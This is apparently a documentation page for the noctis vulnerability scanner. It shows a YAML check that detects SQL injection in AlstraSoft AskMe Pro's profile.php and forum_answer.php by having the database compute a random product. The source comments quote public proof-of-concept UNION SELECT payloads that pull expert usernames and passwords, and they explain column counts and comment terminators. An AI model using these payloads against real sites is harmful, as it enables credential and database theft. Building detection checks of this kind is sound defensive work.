AlstraSoft AskMe — 1 vulnerability check

noctis ships 1 vulnerability check for AlstraSoft AskMe, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AlstraSoft AskMe Pro profile.php / forum_answer.php SQL Injection

CVECVE-2008-2902, CVE-2007-4085
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/alstrasoft-askme/CVE-2008-2902.yaml

AlstraSoft AskMe Pro 2.1 and earlier put the id parameter of profile.php (CVE-2008-2902) and the que_id parameter of forum_answer.php (CVE-2007-4085) unquoted into SQL queries and print the rows they return, allowing unauthenticated SQL injection: an attacker can read the whole database, including the experts' cleartext passwords.

For the web root and the usual install paths (/ask, /askme, /askmepro), this check requests each of the two pages that exists with its parameter set to a UNION SELECT of an expression multiplying two random numbers, in every column of the page's query. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. Each finding names the CVE of the page that answered. No table data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/profile.php
  3. HTTP(S) request GET {{dir}}/profile.php?id={{sc.pr_q}}
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/forum_answer.php
  6. HTTP(S) request GET {{dir}}/forum_answer.php?que_id={{sc.fa_q}}
  7. Parses / computes the next value with a Rhai script
  8. Checks hit_pr for ^/ → finding QoD 97: AlstraSoft AskMe Pro profile.php id SQL Injection (CVE-2008-2902)
  9. Checks hit_fa for ^/ → finding QoD 97: AlstraSoft AskMe Pro forum_answer.php que_id SQL Injection (CVE-2007-4085)

References:

Feed source — tests/vulnerabilities/alstrasoft-askme/CVE-2008-2902.yaml
# AlstraSoft AskMe Pro <= 2.1 — profile.php id / forum_answer.php que_id SQL injection
# CVE-2008-2902 (profile.php id) — CVE-2007-4085 (forum_answer.php que_id)
#
# Both pages put their numeric parameter unquoted into a MySQL SELECT and print
# the row(s) it returns. Public PoCs (EDB-5821, EDB-12372, EDB-14986):
#     forum_answer.php?que_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,concat(username,0x3a,password),6,7,8,9,10/**/FROM/**/expert/*
#     profile.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,0x3a,password),3,...,25/**/FROM/**/expert/**/LIMIT/**/0,1/*
# i.e. a 10-column query behind forum_answer.php (column 5 printed) and a
# 25-column query behind profile.php (column 2 printed).
#
# The NVD record of CVE-2008-2902 covers profile.php only and says the que_id
# injection in forum_answer.php "is already covered by CVE-2007-4085". The
# reference check only probes forum_answer.php, so it reports CVE-2008-2902 for
# the CVE-2007-4085 bug and never tests profile.php. This feed tests both pages
# and each finding names the CVE of the page it proved.
#
# Detection (QoD 97), per install dir: when <page> does not answer 404, send
# <param>=-1/**/UNION/**/ALL/**/SELECT/**/C,C,...-- - with C =
# CONCAT(0x4e4f43544953, a*b, 0x454e44) in every column (10 or 25) and random a,
# b. a*b is never in the request, so only a database that evaluated our
# expression returns "NOCTIS<a*b>END". Read-only, no table referenced, no quote.
#
# Better than the reference check:
#   - profile.php (CVE-2008-2902 itself) is tested; the reference check only
#     probes forum_answer.php (CVE-2007-4085) and reports it under 2008-2902;
#   - "-- -" instead of the PoC's unclosed "/*": MySQL 5.7+/MariaDB reject an
#     unterminated comment when the query goes on after the parameter (ORDER BY,
#     LIMIT…), see the PoC's own trailing LIMIT;
#   - a database-computed value instead of the fixed "SQL-Injection-Test" string,
#     so a page reflecting its URL cannot match; and a hit on a "/askme" install
#     is found too.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_AskMe_29732.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100800, GPL-2.0-only).
uid: 84c7cfc9-ac55-49ac-a3dc-6a207cf72faa
name: "AlstraSoft AskMe Pro profile.php / forum_answer.php SQL Injection (CVE-2008-2902, CVE-2007-4085)"
description: |
  AlstraSoft AskMe Pro 2.1 and earlier put the id parameter of profile.php
  (CVE-2008-2902) and the que_id parameter of forum_answer.php (CVE-2007-4085)
  unquoted into SQL queries and print the rows they return, allowing
  unauthenticated SQL injection: an attacker can read the whole database,
  including the experts' cleartext passwords.

  For the web root and the usual install paths (/ask, /askme, /askmepro), this
  check requests each of the two pages that exists with its parameter set to a
  UNION SELECT of an expression multiplying two random numbers, in every column
  of the page's query. The vulnerability is confirmed when the page returns the
  product computed by the database, which never appears in the request. Each
  finding names the CVE of the page that answered. No table data is read and
  nothing is written.
cves: [CVE-2008-2902, CVE-2007-4085]
cvss: 7.5   # NVD v2 score (no v3.x score published); CVE-2007-4085 finding: v2 6.8
severity: high
category: sqli
confidence_base: 0.30
tags: [alstrasoft, askme-pro, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-2902"
  - "https://nvd.nist.gov/vuln/detail/CVE-2007-4085"
  - "https://www.exploit-db.com/exploits/5821"
  - "https://www.exploit-db.com/exploits/12372"
  - "https://www.exploit-db.com/exploits/14986"
  - "http://www.securityfocus.com/bid/29732"
  # OpenVAS/Greenbone NASL 2010/gb_AskMe_29732.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected marker and the encoded parameter values ─────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      let fa = c;
      for i in 1..10 { fa += "," + c; }
      let pr = c;
      for i in 1..25 { pr += "," + c; }
      let pre = "-1/**/UNION/**/ALL/**/SELECT/**/";
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         fa_q: pre + fa + "--%20-",
         pr_q: pre + pr + "--%20-" }
    store_as: sc

  - id: init-hit-profile
    action: set_var
    var_name: hit_pr
    var_value: ""

  - id: init-hit-forum
    action: set_var
    var_name: hit_fa
    var_value: ""

  # ── Per candidate install dir (loop group) ────────────────────────────────
  - id: init-pr-page
    action: set_var
    var_name: pr_page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/ask", "/askme", "/askmepro"]

  - id: init-pr-resp
    action: set_var
    var_name: pr_resp
    var_value: {status: 0, body: ""}

  - id: init-fa-page
    action: set_var
    var_name: fa_page
    var_value: {status: 0, body: ""}

  - id: init-fa-resp
    action: set_var
    var_name: fa_resp
    var_value: {status: 0, body: ""}

  # profile.php?id — CVE-2008-2902 (25-column query)
  - id: fetch-profile
    action: http_request
    method: GET
    path: "{{dir}}/profile.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_pr == ""'
    store_as: pr_page

  - id: probe-profile
    action: http_request
    method: GET
    path: "{{dir}}/profile.php?id={{sc.pr_q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_pr == "" && pr_page.status > 0 && pr_page.status != 404'
    store_as: pr_resp

  - id: check-profile
    action: script
    condition: 'hit_pr == ""'
    code: |
      let body = if type_of(pr_resp.body) == "string" { pr_resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_pr

  # forum_answer.php?que_id — CVE-2007-4085 (10-column query)
  - id: fetch-forum
    action: http_request
    method: GET
    path: "{{dir}}/forum_answer.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_fa == ""'
    store_as: fa_page

  - id: probe-forum
    action: http_request
    method: GET
    path: "{{dir}}/forum_answer.php?que_id={{sc.fa_q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_fa == "" && fa_page.status > 0 && fa_page.status != 404'
    store_as: fa_resp

  - id: check-forum
    action: script
    condition: 'hit_fa == ""'
    code: |
      let body = if type_of(fa_resp.body) == "string" { fa_resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_fa

  # ── Findings (run once, after every dir was tried) ────────────────────────
  - id: report-phase
    action: set_var
    var_name: report_phase
    var_value: true
    loop:
      var: phase
      over: ["once"]

  - id: report-profile
    action: match
    source: hit_pr
    pattern: "^/"
    on_match:
      finding:
        title: "AlstraSoft AskMe Pro profile.php id SQL Injection (CVE-2008-2902)"
        description: "An unauthenticated request to profile.php with id set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: id reaches the SQL query unquoted, so an attacker can read the whole database, including the experts' cleartext passwords."
        remediation: "No fixed release of AskMe Pro is known: remove the application, or make profile.php and forum_answer.php cast id / que_id to integers before building their queries, and keep the application off the Internet."
        cves: [CVE-2008-2902]
        cvss: 7.5
        severity: high
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_pr}}: profile.php?id=-1 UNION ALL SELECT CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),... (25 columns)-- - returned the database-computed value {{sc.want}}"

  - id: report-forum
    action: match
    source: hit_fa
    pattern: "^/"
    on_match:
      finding:
        title: "AlstraSoft AskMe Pro forum_answer.php que_id SQL Injection (CVE-2007-4085)"
        description: "An unauthenticated request to forum_answer.php with que_id set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: que_id reaches the SQL query unquoted, so an attacker can read the whole database, including the experts' cleartext passwords."
        remediation: "No fixed release of AskMe Pro is known: remove the application, or make profile.php and forum_answer.php cast id / que_id to integers before building their queries, and keep the application off the Internet."
        cves: [CVE-2007-4085]
        cvss: 6.8
        severity: medium
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_fa}}: forum_answer.php?que_id=-1 UNION ALL SELECT CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),... (10 columns)-- - returned the database-computed value {{sc.want}}"

View these feeds on GitHub